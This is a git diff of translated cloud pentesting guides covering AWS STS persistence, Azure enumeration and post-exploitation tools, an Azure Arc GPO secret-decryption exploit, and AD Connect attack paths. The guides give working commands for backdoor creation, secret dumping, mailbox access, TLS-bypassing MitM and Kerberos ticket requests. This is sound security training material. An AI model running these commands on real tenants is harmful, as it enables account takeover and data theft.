Translated ['src/pentesting-cloud/aws-security/aws-persistence/aws-sts-p

This commit is contained in:
Translator
2025-01-21 17:37:01 +00:00
parent 68df6cbab3
commit e16e9e68b5
42 changed files with 719 additions and 702 deletions

View File

@@ -12,21 +12,21 @@
### 假设角色令牌
临时令牌无法列出,因此保持活动的临时令牌是一种持持久性的方法。
临时令牌无法列出,因此保持一个活动的临时令牌是一种持持久性的方法。
<pre class="language-bash"><code class="lang-bash">aws sts get-session-token --duration-seconds 129600
# 使用 MFA
aws sts get-session-token \
--serial-number &#x3C;mfa-device-name> \
--token-code &#x3C;code-from-token>
--serial-number <mfa-device-name> \
--token-code <code-from-token>
# 硬件设备名称通常是设备背面的数字,例如 GAHT12345678
<strong># 短信设备名称是 AWS 中的 ARN例如 arn:aws:iam::123456789012:sms-mfa/username
</strong># 虚拟设备名称是 AWS 中的 ARN例如 arn:aws:iam::123456789012:mfa/username
</code></pre>
### 角色链切换
### 角色链 juggling
[**角色链是一个被认可的 AWS 特性**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_terms-and-concepts.html#Role%20chaining),通常用于保持隐蔽的持久性。它涉及能够 **假设一个角色,然后假设另一个角色**,可能以 **循环的方式** 还原到初始角色。每次假设角色时,凭证的过期字段都会刷新。因此,如果两个角色被配置为相互假设,这种设置允许凭证的永久更新。
@@ -45,7 +45,7 @@ optional arguments:
<details>
<summary>从PowerShell执行角色切换的代码</summary>
```powershell
```bash
# PowerShell script to check for role juggling possibilities using AWS CLI
# Check for AWS CLI installation

View File

@@ -66,7 +66,7 @@ https://book.hacktricks.wiki/en/generic-methodologies-and-resources/phishing-met
- **浏览器** -- 可能只允许某些操作系统Windows、Linux、Mac、Android、iOS中的浏览器。找出受害者/公司使用的操作系统。
- 您还可以尝试 **攻陷服务主体凭证**,因为它们通常限制较少,登录审核也较少
绕过后,您可能能够返回到最初的设置,并且仍然可以访问。
绕过后,您可能能够返回到初始设置,并且仍然可以访问。
### 子域名接管
@@ -92,7 +92,7 @@ az account management-group list #Not allowed by default
{{#endtab }}
{{#tab name="AzureAD" }}
```powershell
```bash
#Get the current session state
Get-AzureADCurrentSessionInfo
#Get details of the current tenant
@@ -101,7 +101,7 @@ Get-AzureADTenantDetail
{{#endtab }}
{{#tab name="Az PowerShell" }}
```powershell
```bash
# Get the information about the current context (Account, Tenant, Subscription etc.)
Get-AzContext
# List all available contexts
@@ -120,13 +120,13 @@ Get-AzRoleAssignment -SignInName test@corp.onmicrosoft.com # For current user
{{#endtabs }}
> [!CAUTION]
> 识别 Azure 的最重要命令之一是 **`Get-AzResource`**来自 Az PowerShell因为它让你 **了解当前用户可见的资源**。
> 识别 Azure 的最重要命令之一是 **`Get-AzResource`**,因为它可以让你 **了解当前用户可见的资源**。
>
> 你可以在 **网页控制台** 中获取相同的信息,访问 [https://portal.azure.com/#view/HubsExtension/BrowseAll](https://portal.azure.com/#view/HubsExtension/BrowseAll) 或搜索 "所有资源"
### ENtra ID 枚举
### Entra ID 枚举
默认情况下,任何用户应该具有 **足够的权限来枚举** 用户、组、角色、服务主体等信息……(查看 [默认 AzureAD 权限](az-basic-information/index.html#default-user-permissions))。\
默认情况下,任何用户应该具有 **足够的权限来枚举** 用户、组、角色、服务主体等信息...(查看 [默认 AzureAD 权限](az-basic-information/index.html#default-user-permissions))。\
你可以在这里找到指南:
{{#ref}}
@@ -149,226 +149,4 @@ Kudu 控制台用于登录到应用服务 '容器'。
Azure DevOps 与 Azure 是分开的。它具有代码库、管道yaml 或发布)、看板、维基等。变量组用于存储变量值和秘密。
## 调试 | MitM az cli
使用参数 **`--debug`** 可以查看工具 **`az`** 发送的所有请求:
```bash
az account management-group list --output table --debug
```
为了对工具进行**MitM**并**手动检查所有发送的请求**,您可以执行:
{{#tabs }}
{{#tab name="Bash" }}
```bash
export ADAL_PYTHON_SSL_NO_VERIFY=1
export AZURE_CLI_DISABLE_CONNECTION_VERIFICATION=1
export HTTPS_PROXY="http://127.0.0.1:8080"
export HTTP_PROXY="http://127.0.0.1:8080"
# If this is not enough
# Download the certificate from Burp and convert it into .pem format
# And export the following env variable
openssl x509 -in ~/Downloads/cacert.der -inform DER -out ~/Downloads/cacert.pem -outform PEM
export REQUESTS_CA_BUNDLE=/Users/user/Downloads/cacert.pem
```
{{#endtab }}
{{#tab name="PS" }}
```bash
$env:ADAL_PYTHON_SSL_NO_VERIFY=1
$env:AZURE_CLI_DISABLE_CONNECTION_VERIFICATION=1
$env:HTTPS_PROXY="http://127.0.0.1:8080"
$env:HTTP_PROXY="http://127.0.0.1:8080"
```
{{#endtab }}
{{#endtabs }}
## 自动化侦察工具
### [**ROADRecon**](https://github.com/dirkjanm/ROADtools)
```powershell
cd ROADTools
pipenv shell
roadrecon auth -u test@corp.onmicrosoft.com -p "Welcome2022!"
roadrecon gather
roadrecon gui
```
### [Monkey365](https://github.com/silverhack/monkey365)
```powershell
Import-Module monkey365
Get-Help Invoke-Monkey365
Get-Help Invoke-Monkey365 -Detailed
Invoke-Monkey365 -IncludeEntraID -ExportTo HTML -Verbose -Debug -InformationAction Continue
Invoke-Monkey365 - Instance Azure -Analysis All -ExportTo HTML
```
### [**Stormspotter**](https://github.com/Azure/Stormspotter)
```powershell
# Start Backend
cd stormspotter\backend\
pipenv shell
python ssbackend.pyz
# Start Front-end
cd stormspotter\frontend\dist\spa\
quasar.cmd serve -p 9091 --history
# Run Stormcollector
cd stormspotter\stormcollector\
pipenv shell
az login -u test@corp.onmicrosoft.com -p Welcome2022!
python stormspotter\stormcollector\sscollector.pyz cli
# This will generate a .zip file to upload in the frontend (127.0.0.1:9091)
```
### [**AzureHound**](https://github.com/BloodHoundAD/AzureHound)
```powershell
# You need to use the Az PowerShell and Azure AD modules:
$passwd = ConvertTo-SecureString "Welcome2022!" -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential ("test@corp.onmicrosoft.com", $passwd)
Connect-AzAccount -Credential $creds
Import-Module AzureAD\AzureAD.psd1
Connect-AzureAD -Credential $creds
# Launch AzureHound
. AzureHound\AzureHound.ps1
Invoke-AzureHound -Verbose
# Simple queries
## All Azure Users
MATCH (n:AZUser) return n.name
## All Azure Applications
MATCH (n:AZApp) return n.objectid
## All Azure Devices
MATCH (n:AZDevice) return n.name
## All Azure Groups
MATCH (n:AZGroup) return n.name
## All Azure Key Vaults
MATCH (n:AZKeyVault) return n.name
## All Azure Resource Groups
MATCH (n:AZResourceGroup) return n.name
## All Azure Service Principals
MATCH (n:AZServicePrincipal) return n.objectid
## All Azure Virtual Machines
MATCH (n:AZVM) return n.name
## All Principals with the Contributor role
MATCH p = (n)-[r:AZContributor]->(g) RETURN p
# Advanced queries
## Get Global Admins
MATCH p =(n)-[r:AZGlobalAdmin*1..]->(m) RETURN p
## Owners of Azure Groups
MATCH p = (n)-[r:AZOwns]->(g:AZGroup) RETURN p
## All Azure Users and their Groups
MATCH p=(m:AZUser)-[r:MemberOf]->(n) WHERE NOT m.objectid CONTAINS 'S-1-5' RETURN p
## Privileged Service Principals
MATCH p = (g:AZServicePrincipal)-[r]->(n) RETURN p
## Owners of Azure Applications
MATCH p = (n)-[r:AZOwns]->(g:AZApp) RETURN p
## Paths to VMs
MATCH p = (n)-[r]->(g: AZVM) RETURN p
## Paths to KeyVault
MATCH p = (n)-[r]->(g:AZKeyVault) RETURN p
## Paths to Azure Resource Group
MATCH p = (n)-[r]->(g:AZResourceGroup) RETURN p
## On-Prem users with edges to Azure
MATCH p=(m:User)-[r:AZResetPassword|AZOwns|AZUserAccessAdministrator|AZContributor|AZAddMembers|AZGlobalAdmin|AZVMContributor|AZOwnsAZAvereContributor]->(n) WHERE m.objectid CONTAINS 'S-1-5-21' RETURN p
## All Azure AD Groups that are synchronized with On-Premise AD
MATCH (n:Group) WHERE n.objectid CONTAINS 'S-1-5' AND n.azsyncid IS NOT NULL RETURN n
```
### [Azucar](https://github.com/nccgroup/azucar)
```bash
# You should use an account with at least read-permission on the assets you want to access
git clone https://github.com/nccgroup/azucar.git
PS> Get-ChildItem -Recurse c:\Azucar_V10 | Unblock-File
PS> .\Azucar.ps1 -AuthMode UseCachedCredentials -Verbose -WriteLog -Debug -ExportTo PRINT
PS> .\Azucar.ps1 -ExportTo CSV,JSON,XML,EXCEL -AuthMode Certificate_Credentials -Certificate C:\AzucarTest\server.pfx -ApplicationId 00000000-0000-0000-0000-000000000000 -TenantID 00000000-0000-0000-0000-000000000000
PS> .\Azucar.ps1 -ExportTo CSV,JSON,XML,EXCEL -AuthMode Certificate_Credentials -Certificate C:\AzucarTest\server.pfx -CertFilePassword MySuperP@ssw0rd! -ApplicationId 00000000-0000-0000-0000-000000000000 -TenantID 00000000-0000-0000-0000-000000000000
# resolve the TenantID for an specific username
PS> .\Azucar.ps1 -ResolveTenantUserName user@company.com
```
### [**MicroBurst**](https://github.com/NetSPI/MicroBurst)
```
Import-Module .\MicroBurst.psm1
Import-Module .\Get-AzureDomainInfo.ps1
Get-AzureDomainInfo -folder MicroBurst -Verbose
```
### [**PowerZure**](https://github.com/hausec/PowerZure)
```powershell
Connect-AzAccount
ipmo C:\Path\To\Powerzure.psd1
Get-AzureTarget
# Reader
$ Get-Runbook, Get-AllUsers, Get-Apps, Get-Resources, Get-WebApps, Get-WebAppDetails
# Contributor
$ Execute-Command -OS Windows -VM Win10Test -ResourceGroup Test-RG -Command "whoami"
$ Execute-MSBuild -VM Win10Test -ResourceGroup Test-RG -File "build.xml"
$ Get-AllSecrets # AllAppSecrets, AllKeyVaultContents
$ Get-AvailableVMDisks, Get-VMDisk # Download a virtual machine's disk
# Owner
$ Set-Role -Role Contributor -User test@contoso.com -Resource Win10VMTest
# Administrator
$ Create-Backdoor, Execute-Backdoor
```
### [**GraphRunner**](https://github.com/dafthack/GraphRunner/wiki/Invoke%E2%80%90GraphRunner)
```powershell
#Get-GraphTokens
#A good place to start is to authenticate with the Get-GraphTokens module. This module will launch a device-code login, allowing you to authenticate the session from a browser session. Access and refresh tokens will be written to the global $tokens variable. To use them with other GraphRunner modules use the Tokens flag (Example. Invoke-DumpApps -Tokens $tokens)
Import-Module .\GraphRunner.ps1
Get-GraphTokens
#Invoke-GraphRecon
#This module gathers information about the tenant including the primary contact info, directory sync settings, and user settings such as if users have the ability to create apps, create groups, or consent to apps.
Invoke-GraphRecon -Tokens $tokens -PermissionEnum
#Invoke-DumpCAPS
#A module to dump conditional access policies from a tenant.
Invoke-GraphRecon -Tokens $tokens -PermissionEnum
#Invoke-DumpCAPS
#A module to dump conditional access policies from a tenant.
Invoke-DumpCAPS -Tokens $tokens -ResolveGuids
#Invoke-DumpApps
#This module helps identify malicious app registrations. It will dump a list of Azure app registrations from the tenant including permission scopes and users that have consented to the apps. Additionally, it will list external apps that are not owned by the current tenant or by Microsoft's main app tenant. This is a good way to find third-party external apps that users may have consented to.
Invoke-DumpApps -Tokens $tokens
#Get-AzureADUsers
#Gather the full list of users from the directory.
Get-AzureADUsers -Tokens $tokens -OutFile users.txt
#Get-SecurityGroups
#Create a list of security groups along with their members.
Get-SecurityGroups -AccessToken $tokens.access_token
G#et-UpdatableGroups
#Gets groups that may be able to be modified by the current user
Get-UpdatableGroups -Tokens $tokens
#Get-DynamicGroups
#Finds dynamic groups and displays membership rules
Get-DynamicGroups -Tokens $tokens
#Get-SharePointSiteURLs
#Gets a list of SharePoint site URLs visible to the current user
Get-SharePointSiteURLs -Tokens $tokens
#Invoke-GraphOpenInboxFinder
#This module attempts to locate mailboxes in a tenant that have allowed other users to read them. By providing a userlist the module will attempt to access the inbox of each user and display if it was successful. The access token needs to be scoped to Mail.Read.Shared or Mail.ReadWrite.Shared for this to work.
Invoke-GraphOpenInboxFinder -Tokens $tokens -Userlist users.txt
#Get-TenantID
#This module attempts to gather a tenant ID associated with a domain.
Get-TenantID -Domain
#Invoke-GraphRunner
#Runs Invoke-GraphRecon, Get-AzureADUsers, Get-SecurityGroups, Invoke-DumpCAPS, Invoke-DumpApps, and then uses the default_detectors.json file to search with Invoke-SearchMailbox, Invoke-SearchSharePointAndOneDrive, and Invoke-SearchTeams.
Invoke-GraphRunner -Tokens $tokens
```
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -2,10 +2,10 @@
{{#include ../../banners/hacktricks-training.md}}
## 在 Linux 中安装 PowerShell
## 在Linux中安装PowerShell
> [!TIP]
> Linux 中,您需要安装 PowerShell Core
> 在Linux中您需要安装PowerShell Core:
```bash
sudo apt-get update
sudo apt-get install -y wget apt-transport-https software-properties-common
@@ -103,7 +103,7 @@ Azure PowerShell AZ 模块中的命令结构如下:`<Action>-Az<Service> <para
```bash
Get-AzResourceGroup -Debug
```
为了对工具进行**MitM**并手动**检查所有发送的请求**,您可以根据[**文档**](https://learn.microsoft.com/en-us/powershell/azure/az-powershell-proxy)设置环境变量`HTTPS_PROXY``HTTP_PROXY`
为了对工具进行**MitM**并**手动检查所有发送的请求**,您可以根据[**文档**](https://learn.microsoft.com/en-us/powershell/azure/az-powershell-proxy)设置环境变量`HTTPS_PROXY``HTTP_PROXY`
### Microsoft Graph PowerShell
@@ -121,11 +121,250 @@ Get-MgUser -Debug
```
### ~~**AzureAD Powershell**~~
Azure Active Directory (AD) 模块现在 **已弃用**,是用于管理 Azure AD 资源的 Azure PowerShell 的一部分。它提供了用于管理用户、组和 Entra ID 中应用程序注册的 cmdlet。
Azure Active Directory (AD) 模块现在 **已弃用**,是 Azure PowerShell 的一部分,用于管理 Azure AD 资源。它提供了用于管理用户、组和 Entra ID 中应用程序注册的 cmdlet。
> [!TIP]
> 这被 Microsoft Graph PowerShell 替代
Follow this link for the [**installation instructions**](https://www.powershellgallery.com/packages/AzureAD).
请访问此链接以获取 [**安装说明**](https://www.powershellgallery.com/packages/AzureAD)
## 自动化侦查与合规工具
### [turbot azure plugins](https://github.com/orgs/turbot/repositories?q=mod-azure)
Turbot 与 steampipe 和 powerpipe 结合使用,可以从 Azure 和 Entra ID 收集信息,执行合规检查并查找配置错误。目前推荐运行的 Azure 模块有:
- [https://github.com/turbot/steampipe-mod-azure-compliance](https://github.com/turbot/steampipe-mod-azure-compliance)
- [https://github.com/turbot/steampipe-mod-azure-insights](https://github.com/turbot/steampipe-mod-azure-insights)
- [https://github.com/turbot/steampipe-mod-azuread-insights](https://github.com/turbot/steampipe-mod-azuread-insights)
```bash
# Install
brew install turbot/tap/powerpipe
brew install turbot/tap/steampipe
steampipe plugin install azure
steampipe plugin install azuread
# Config creds via env vars or az cli default creds will be used
export AZURE_ENVIRONMENT="AZUREPUBLICCLOUD"
export AZURE_TENANT_ID="<tenant-id>"
export AZURE_SUBSCRIPTION_ID="<subscription-id>"
export AZURE_CLIENT_ID="<client-id>"
export AZURE_CLIENT_SECRET="<secret>"
# Run steampipe-mod-azure-insights
cd /tmp
mkdir dashboards
cd dashboards
powerpipe mod init
powerpipe mod install github.com/turbot/steampipe-mod-azure-insights
steampipe service start
powerpipe server
# Go to http://localhost:9033 in a browser
```
### [Prowler](https://github.com/prowler-cloud/prowler)
Prowler 是一个开源安全工具,用于执行 AWS、Azure、Google Cloud 和 Kubernetes 的安全最佳实践评估、审计、事件响应、持续监控、加固和取证准备。
它基本上允许我们对 Azure 环境运行数百个检查,以查找安全错误配置,并以 json和其他文本格式收集结果或在网页上检查它们。
```bash
# Create a application with Reader role and set the tenant ID, client ID and secret in prowler so it access the app
# Launch web with docker-compose
export DOCKER_DEFAULT_PLATFORM=linux/amd64
curl -LO https://raw.githubusercontent.com/prowler-cloud/prowler/refs/heads/master/docker-compose.yml
curl -LO https://raw.githubusercontent.com/prowler-cloud/prowler/refs/heads/master/.env
## If using an old docker-compose version, change the "env_file" params to: env_file: ".env"
docker compose up -d
# Access the web and configure the access to run a scan from it
# Prowler cli
python3 -m pip install prowler --break-system-packages
docker run --rm toniblyx/prowler:v4-latest azure --list-checks
docker run --rm toniblyx/prowler:v4-latest azure --list-services
docker run --rm toniblyx/prowler:v4-latest azure --list-compliance
docker run --rm -e "AZURE_CLIENT_ID=<client-id>" -e "AZURE_TENANT_ID=<tenant-id>" -e "AZURE_CLIENT_SECRET=<secret>" toniblyx/prowler:v4-latest azure --sp-env-auth
## It also support other authentication types, check: prowler azure --help
```
### [Monkey365](https://github.com/silverhack/monkey365)
它允许自动执行 Azure 订阅和 Microsoft Entra ID 安全配置审查。
HTML 报告存储在 github 仓库文件夹中的 `./monkey-reports` 目录内。
```bash
git clone https://github.com/silverhack/monkey365
Get-ChildItem -Recurse monkey365 | Unblock-File
cd monkey365
Import-Module ./monkey365
mkdir /tmp/monkey365-scan
cd /tmp/monkey365-scan
Get-Help Invoke-Monkey365
Get-Help Invoke-Monkey365 -Detailed
# Scan with user creds (browser will be run)
Invoke-Monkey365 -TenantId <tenant-id> -Instance Azure -Collect All -ExportTo HTML
# Scan with App creds
$SecureClientSecret = ConvertTo-SecureString "<secret>" -AsPlainText -Force
Invoke-Monkey365 -TenantId <tenant-id> -ClientId <client-id> -ClientSecret $SecureClientSecret -Instance Azure -Collect All -ExportTo HTML
```
### [ScoutSuite](https://github.com/nccgroup/ScoutSuite)
Scout Suite 收集配置数据以供手动检查,并突出风险区域。它是一个多云安全审计工具,能够评估云环境的安全态势。
```bash
virtualenv -p python3 venv
source venv/bin/activate
pip install scoutsuite
scout --help
# Use --cli flag to use az cli credentials
# Use --user-account to have scout prompt for user credentials
# Use --user-account-browser to launch a browser to login
# Use --service-principal to have scout prompt for app credentials
python scout.py azure --cli
```
### [Azure-MG-Sub-Governance-Reporting](https://github.com/JulianHayward/Azure-MG-Sub-Governance-Reporting)
这是一个 PowerShell 脚本,帮助您 **可视化管理组和 Entra ID** 租户中的所有资源和权限,并查找安全错误配置。
它使用 Az PowerShell 模块工作,因此该工具支持的任何身份验证也被该工具支持。
```bash
import-module Az
.\AzGovVizParallel.ps1 -ManagementGroupId <management-group-id> [-SubscriptionIdWhitelist <subscription-id>]
```
## 自动化后渗透工具
### [**ROADRecon**](https://github.com/dirkjanm/ROADtools)
ROADRecon 的枚举提供有关 Entra ID 配置的信息,如用户、组、角色、条件访问策略...
```bash
cd ROADTools
pipenv shell
# Login with user creds
roadrecon auth -u test@corp.onmicrosoft.com -p "Welcome2022!"
# Login with app creds
roadrecon auth --as-app --client "<client-id>" --password "<secret>" --tenant "<tenant-id>"
roadrecon gather
roadrecon gui
```
### [**AzureHound**](https://github.com/BloodHoundAD/AzureHound)
```bash
# Launch AzureHound
## Login with app secret
azurehound -a "<client-id>" -s "<secret>" --tenant "<tenant-id>" list -o ./output.json
## Login with user creds
azurehound -u "<user-email>" -p "<password>" --tenant "<tenant-id>" list -o ./output.json
```
启动 **BloodHound** 网页,使用 **`curl -L https://ghst.ly/getbhce | docker compose -f - up`** 并导入 `output.json` 文件。
然后,在 **EXPLORE** 标签下的 **CYPHER** 部分,您可以看到一个包含预构建查询的 **文件夹** 图标。
### [**MicroBurst**](https://github.com/NetSPI/MicroBurst)
MicroBurst 包含支持 Azure 服务发现、弱配置审计和后期利用操作(如凭证转储)的功能和脚本。它旨在在使用 Azure 的渗透测试中使用。
```bash
Import-Module .\MicroBurst.psm1
Import-Module .\Get-AzureDomainInfo.ps1
Get-AzureDomainInfo -folder MicroBurst -Verbose
```
### [**PowerZure**](https://github.com/hausec/PowerZure)
PowerZure 的创建是出于对一个可以同时进行 Azure、EntraID 及相关资源的侦察和利用的框架的需求。
它使用 **Az PowerShell** 模块,因此该工具支持的任何身份验证也都被该工具支持。
```bash
# Login
Import-Module Az
Connect-AzAccount
# Clone and import PowerZure
git clone https://github.com/hausec/PowerZure
cd PowerZure
ipmo ./Powerzure.psd1
Invoke-Powerzure -h # Check all the options
# Info Gathering (read)
Get-AzureCurrentUser # Get current user
Get-AzureTarget # What can you access to
Get-AzureUser -All # Get all users
Get-AzureSQLDB -All # Get all SQL DBs
Get-AzureAppOwner # Owners of apps in Entra
Show-AzureStorageContent -All # List containers, shared and tables
Show-AzureKeyVaultContent -All # List all contents in key vaults
# Operational (write)
Set-AzureUserPassword -Password <password> -Username <username> # Change password
Set-AzureElevatedPrivileges # Get permissions from Global Administrator in EntraID to User Access Administrator in Azure RBAC.
New-AzureBackdoor -Username <username> -Password <password>
Invoke-AzureRunCommand -Command <command> -VMName <vmname>
[...]
```
### [**GraphRunner**](https://github.com/dafthack/GraphRunner/wiki/Invoke%E2%80%90GraphRunner)
GraphRunner 是一个用于与 Microsoft Graph API 交互的后渗透工具集。它提供了多种工具,用于执行侦察、持久性和从 Microsoft Entra ID (Azure AD) 账户中掠夺数据。
```bash
#A good place to start is to authenticate with the Get-GraphTokens module. This module will launch a device-code login, allowing you to authenticate the session from a browser session. Access and refresh tokens will be written to the global $tokens variable. To use them with other GraphRunner modules use the Tokens flag (Example. Invoke-DumpApps -Tokens $tokens)
Import-Module .\GraphRunner.ps1
Get-GraphTokens
#This module gathers information about the tenant including the primary contact info, directory sync settings, and user settings such as if users have the ability to create apps, create groups, or consent to apps.
Invoke-GraphRecon -Tokens $tokens -PermissionEnum
#A module to dump conditional access policies from a tenant.
Invoke-GraphRecon -Tokens $tokens -PermissionEnum
#A module to dump conditional access policies from a tenant.
Invoke-DumpCAPS -Tokens $tokens -ResolveGuids
#This module helps identify malicious app registrations. It will dump a list of Azure app registrations from the tenant including permission scopes and users that have consented to the apps. Additionally, it will list external apps that are not owned by the current tenant or by Microsoft's main app tenant. This is a good way to find third-party external apps that users may have consented to.
Invoke-DumpApps -Tokens $tokens
#Gather the full list of users from the directory.
Get-AzureADUsers -Tokens $tokens -OutFile users.txt
#Create a list of security groups along with their members.
Get-SecurityGroups -AccessToken $tokens.access_token
#Gets groups that may be able to be modified by the current user
Get-UpdatableGroups -Tokens $tokens
#Finds dynamic groups and displays membership rules
Get-DynamicGroups -Tokens $tokens
#Gets a list of SharePoint site URLs visible to the current user
Get-SharePointSiteURLs -Tokens $tokens
#This module attempts to locate mailboxes in a tenant that have allowed other users to read them. By providing a userlist the module will attempt to access the inbox of each user and display if it was successful. The access token needs to be scoped to Mail.Read.Shared or Mail.ReadWrite.Shared for this to work.
Invoke-GraphOpenInboxFinder -Tokens $tokens -Userlist users.txt
#This module attempts to gather a tenant ID associated with a domain.
Get-TenantID -Domain
#Runs Invoke-GraphRecon, Get-AzureADUsers, Get-SecurityGroups, Invoke-DumpCAPS, Invoke-DumpApps, and then uses the default_detectors.json file to search with Invoke-SearchMailbox, Invoke-SearchSharePointAndOneDrive, and Invoke-SearchTeams.
Invoke-GraphRunner -Tokens $tokens
```
### [Stormspotter](https://github.com/Azure/Stormspotter)
Stormspotter 创建了一个 Azure 订阅中资源的“攻击图”。它使红队和渗透测试人员能够可视化攻击面和租户内的转移机会,并增强了防御者快速定位和优先处理事件响应工作的能力。
**不幸的是,它看起来没有维护**
```bash
# Start Backend
cd stormspotter\backend\
pipenv shell
python ssbackend.pyz
# Start Front-end
cd stormspotter\frontend\dist\spa\
quasar.cmd serve -p 9091 --history
# Run Stormcollector
cd stormspotter\stormcollector\
pipenv shell
az login -u test@corp.onmicrosoft.com -p Welcome2022!
python stormspotter\stormcollector\sscollector.pyz cli
# This will generate a .zip file to upload in the frontend (127.0.0.1:9091)
```
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -1,20 +1,20 @@
# Az - Arc 漏洞 GPO 部署脚本
# Az - Arc vulnerable GPO Deploy Script
{{#include ../../../banners/hacktricks-training.md}}
### 识别问题
### Identifying the Issues
Azure Arc 允许通过组策略对象方法将新的内部服务器(加入域的服务器)集成到 Azure Arc 中。为此Microsoft 提供了一个部署工具包,用于启动入驻程序。在 ArcEnableServerGroupPolicy.zip 文件中可以找到以下脚本DeployGPO.ps1、EnableAzureArc.ps1 和 AzureArcDeployment.psm1。
执行 DeployGPO.ps1 脚本时,会执行以下操作:
执行 DeployGPO.ps1 脚本时,会执行以下操作:
1. 在本地域创建 Azure Arc 服务器入驻 GPO。
1. 在本地域创建 Azure Arc 服务器入驻 GPO。
2. 将 EnableAzureArc.ps1 入驻脚本复制到为入驻过程创建的指定网络共享中,该共享还包含 Windows 安装程序包。
运行此脚本时,系统管理员需要提供两个主要参数:**ServicePrincipalId** 和 **ServicePrincipalClientSecret**。此外,还需要其他参数,例如域、托管共享的服务器的 FQDN 和共享名称。还必须向脚本提供租户 ID、资源组和其他必要信息等详细信息。
在指定共享的 AzureArcDeploy 目录中使用 DPAPI-NG 加密生成一个加密的秘密。加密的秘密存储在名为 encryptedServicePrincipalSecret 的文件中。可以在 DeployGPO.ps1 脚本中找到证据,其中通过调用 ProtectBase64 以 $descriptor 和 $ServicePrincipalSecret 作为输入来执行加密。描述符由域计算机和域控制器组 SID 组成,确保 ServicePrincipalSecret 只能由域控制器和域计算机安全组解密,如脚本注释中所述。
```powershell
```bash
# Encrypting the ServicePrincipalSecret to be decrypted only by the Domain Controllers and the Domain Computers security groups
$DomainComputersSID = "SID=" + $DomainComputersSID
$DomainControllersSID = "SID=" + $DomainControllersSID
@@ -22,7 +22,7 @@ $descriptor = @($DomainComputersSID, $DomainControllersSID) -join " OR "
Import-Module $PSScriptRoot\AzureArcDeployment.psm1
$encryptedSecret = [DpapiNgUtil]::ProtectBase64($descriptor, $ServicePrincipalSecret)
```
### 利用
### Exploit
我们有以下条件:
@@ -31,20 +31,20 @@ $encryptedSecret = [DpapiNgUtil]::ProtectBase64($descriptor, $ServicePrincipalSe
3. 我们发现了一个包含 AzureArcDeploy 目录的网络共享。
在 AD 环境中获取计算机帐户有几种方法。最常见的方法之一是利用计算机帐户配额。另一种方法涉及通过易受攻击的 ACL 或各种其他错误配置来破坏计算机帐户。
```powershell
```bash
Import-MKodule powermad
New-MachineAccount -MachineAccount fake01 -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose
```
一旦获得机器账户,就可以使用该账户进行身份验证。我们可以使用带有 netonly 标志的 runas.exe 命令,或者使用 Rubeus.exe 进行票证传递。
```powershell
```bash
runas /user:fake01$ /netonly powershell
```
```powershell
```bash
.\Rubeus.exe asktgt /user:fake01$ /password:123456 /prr
```
通过将计算机帐户的 TGT 存储在内存中,我们可以使用以下脚本解密服务主体密钥。
```powershell
```bash
Import-Module .\AzureArcDeployment.psm1
$encryptedSecret = Get-Content "[shared folder path]\AzureArcDeploy\encryptedServicePrincipalSecret"
@@ -54,7 +54,7 @@ $ebs
```
另外,我们可以使用 [SecretManagement.DpapiNG](https://github.com/jborean93/SecretManagement.DpapiNG)。
此时,我们可以从存储在与 encryptedServicePrincipalSecret 文件相同的网络共享上的 ArcInfo.json 文件中收集连接到 Azure 所需的其余信息。该文件包含以下详细信息TenantId、servicePrincipalClientId、ResourceGroup 等。凭借这些信息,我们可以使用 Azure CLI 被攻陷的服务主体身份进行身份验证。
此时,我们可以从存储在与 encryptedServicePrincipalSecret 文件相同的网络共享上的 ArcInfo.json 文件中收集连接到 Azure 所需的其余信息。该文件包含以下详细信息TenantId、servicePrincipalClientId、ResourceGroup 等。凭借这些信息,我们可以使用 Azure CLI 作为被攻陷的服务主体进行身份验证。
## References

View File

@@ -4,11 +4,11 @@
## 基本信息
**本地 Active Directory (AD)****Azure AD** 之间的集成通过 **Azure AD Connect** 实现,提供支持 **单点登录 (SSO)**多种方法。每种方法虽然有用,但都存在潜在的安全漏洞,可能被利用以危害云或本地环境:
**本地 Active Directory (AD)****Azure AD** 之间的集成通过 **Azure AD Connect** 实现,提供多种支持 **单点登录 (SSO)** 的方法。每种方法虽然有用,但都存在潜在的安全漏洞,可能被利用以危害云或本地环境:
- **Pass-Through Authentication (PTA)**:
- 可能会导致本地 AD 上代理的泄露,从而允许验证用户密码以进行 Azure 连接(本地到云)。
- 在新位置(云到本地)注册新代理以验证身份的可行性。
- 可能会导致本地 AD 上代理的泄露,从而允许验证用户密码以进行 Azure 连接(本地到云)。
- 在新位置(云到本地)注册新代理以验证身份的可行性。
{{#ref}}
pta-pass-through-authentication.md
@@ -29,14 +29,14 @@ federation.md
{{#endref}}
- **Seamless SSO:**
- 窃取 `AZUREADSSOACC` 用户的密码,该密码用于签 Kerberos 银票,允许冒充任何云用户。
- 窃取 `AZUREADSSOACC` 用户的密码,该密码用于签 Kerberos 银票,允许冒充任何云用户。
{{#ref}}
seamless-sso.md
{{#endref}}
- **Cloud Kerberos Trust**:
- 通过操纵 AzureAD 用户名和 SID 并请求来自 AzureAD 的 TGT可能从全局管理员升级到本地域管理员。
- 通过操纵 AzureAD 用户名和 SID 并请求 AzureAD 的 TGT可能从全局管理员升级到本地域管理员。
{{#ref}}
az-cloud-kerberos-trust.md
@@ -52,7 +52,7 @@ az-default-applications.md
对于每种集成方法,都会进行用户同步,并在本地 AD 中创建一个 `MSOL_<installationidentifier>` 账户。值得注意的是,**PHS** 和 **PTA** 方法都支持 **无缝 SSO**,使得加入本地域的 Azure AD 计算机能够自动登录。
要验证 **Azure AD Connect** 的安装,可以使用以下 PowerShell 命令,利用 **AzureADConnectHealthSync** 模块(默认与 Azure AD Connect 一起安装):
```powershell
```bash
Get-ADSyncConnector
```
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -9,19 +9,19 @@
- **AzureAD 用户** 需要有一个代理地址(一个 **邮箱**
- 不需要许可证
- 应该 **尚未同步**
```powershell
```bash
Get-MsolUser -SerachString admintest | select displayname, lastdirsynctime, proxyaddresses, lastpasswordchangetimestamp | fl
```
当在 AzureAD 中找到这样的用户时,为了 **从本地 AD 访问它**,您只需 **创建一个新帐户**,并使用 **proxyAddress**为 SMTP 电子邮件。
当在 AzureAD 中找到这样的用户时,为了**从本地 AD 访问它**,您只需**创建一个新帐户**,其**proxyAddress**为 SMTP 电子邮件。
这样,该用户将 **自动从 AzureAD 同步到本地 AD 用户**
